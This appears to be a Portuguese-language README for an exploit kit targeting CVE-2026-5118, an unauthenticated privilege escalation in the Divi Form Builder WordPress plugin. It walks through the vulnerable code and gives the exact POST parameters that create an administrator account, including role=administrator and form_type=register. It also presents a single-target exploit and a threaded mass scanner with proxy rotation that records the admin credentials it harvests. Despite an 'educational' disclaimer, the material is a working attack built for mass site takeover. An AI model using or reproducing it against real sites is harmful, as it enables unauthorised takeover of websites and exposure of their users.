
Exploit automatizado e scanner em massa para CVE-2026-5118, uma escalada de privilégio não autenticada no WordPress Divi Form Builder <=5.1.2, permitindo a criação de conta de administrador via injeção de função.
Escalação de Privilégio Não Autenticada via Injeção de Função
=== Beelze ( zeroday 1diot9 ) ===
| Campo | Detalhes |
|---|---|
| CVE ID | CVE-2026-5118 |
| Pontuação CVSS | 9.8 (Crítica) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Gerenciamento de Privilégio Incorreto |
| Plugin | Divi Form Builder (por Divi Engine) |
| Afetado | Todas as versões ≤ 5.1.2 |
| Corrigido | 5.1.3 (13 de Abril de 2026) |
| Publicado | 20 de Maio de 2026 |
| Pesquisador | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
O plugin Divi Form Builder para WordPress é vulnerável a Escalação de Privilégio Não Autenticada em todas as versões até e incluindo 5.1.2.
A função create_user() dentro de FormSubmissionHandler.php aceita um parâmetro role controlado pelo usuário a partir dos dados POST durante o registro de usuário sem validá-lo em relação à configuração default_user_role do formulário. A única "proteção" é sanitize_text_field() — que remove tags HTML e codificação, mas não faz nada para restringir o valor a funções seguras — seguida por uma verificação de existência que meramente confirma se a função existe no WordPress (e administrator sempre existe).
Essa tripla falha permite que atacantes não autenticados:
fb_nonce) do objeto JavaScript de_fb_objform_type para register via POST — transformando qualquer formulário em um endpoint de registrorole=administrator na submissão AJAXResultado: Tomada total do site — zero autenticação, zero interação do usuário, uma requisição POST.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~linha 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← Apenas remove tags/codificação!
: 'subscriber'; // ← 'administrator' passa LIMPO
sanitize_text_field() é projetado para sanitização de texto livre (prevenção XSS). Ele NÃO valida contra uma lista de permissões de funções seguras. A string "administrator" não contém tags HTML, nenhuma codificação especial — ela passa completamente intocada.
// ~linha 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback APENAS se a função não existir
}
Esta verificação pergunta: "Essa função existe no WordPress?" — e administrator sempre existe. Ela nunca faz a pergunta correta: "Essa função é segura para auto-registro público?" Uma verificação adequada validaria contra uma lista de permissões como ['subscriber', 'contributor'] ou aplicaria a configuração default_user_role do formulário.
// ~linha 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← função controlada pelo atacante aplicada diretamente!
Nenhuma verificação current_user_can('create_users'). Nenhuma verificação current_user_can('promote_users'). Nenhuma verificação de capacidade de qualquer tipo. A função fornecida pelo atacante é passada diretamente para set_role().
// Localização do JS frontend
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← MESMO nonce em TODOS os formulários, TODAS as páginas
// ...
]);
O fb_nonce é criado via wp_create_nonce('security') — uma string de ação genérica compartilhada em todos os formulários DFB do site. Qualquer visitante pode extraí-lo do código-fonte da página lendo o objeto JavaScript de_fb_obj.
// Manipulador AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← acionado por sobrescrita POST!
}
O form_type é lido a partir dos dados POST, não da configuração do formulário no servidor. Um atacante pode enviar form_type=register em qualquer submissão AJAX do DFB — um formulário de contato, uma solicitação de cotação, uma inscrição de newsletter — e o servidor executará o caminho de código de registro. O propósito original do formulário é irrelevante.
[Atacante Não Autenticado]
│
▼
GET /any-page-with-dfb-form/
← Código-fonte HTML: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extrair fb_nonce do objeto JavaScript de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJETADO │
│ form_type = register ← SOBRESCRITO │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passa
wp_roles()->roles['administrator'] existe? → SIM ✓ passa
$user->set_role('administrator') ✓ sem verificação de capacidade
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Acesso de Administrador Completo] 🔥
CVE-2026-5118.py — Exploit para Alvo ÚnicoCadeia de exploração completa em 5 fases com descoberta automática de formulário e extração de nonce.
python3 CVE-2026-5118.py
URL do alvo: https://target.com
Nome de usuário [beelze_admin]:
Senha [Beelze123!!@#!]:
Email [[email protected]]:
Tempo limite (segundos) [15]:
Proxy SOCKS5 (em branco = nenhum):
Fases do Exploit:
Fase 1 ▶ Acessibilidade (HTTPS + fallback HTTP)
Fase 2 ▶ Detecção do Plugin (verificação da versão via readme.txt)
Fase 3 ▶ Descoberta de Formulário e Extração de Nonce
├── Escaneamento de páginas via API REST
├── Sondagem de caminhos comuns
├── Varredura do sitemap
└── Varredura de links da página inicial
Fase 4 ▶ Injeção de Função (Escalação de Privilégio)
Fase 5 ▶ Verificação de Login como Administrador
Saída (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Scanner em MassaExploração em massa com threads, logging JSONL e suporte a retomada.
python3 CVE-2026-5118-mass.py
Arquivo de alvos (uma URL por linha): targets.txt
Nome de usuário [beelze_admin]:
Senha [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Tempo limite (segundos) [10]:
Arquivo de proxy (SOCKS5, um por linha, em branco = nenhum):
Retomar varredura anterior? (s/n) [n]:
Funcionalidades:
Saída (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role do formulário, ignorando qualquer parâmetro role fornecido pelo usuário nos dados POSTBeelze ( zeroday 1diot9 ) — apenas para fins educacionais e pesquisa de segurança autorizada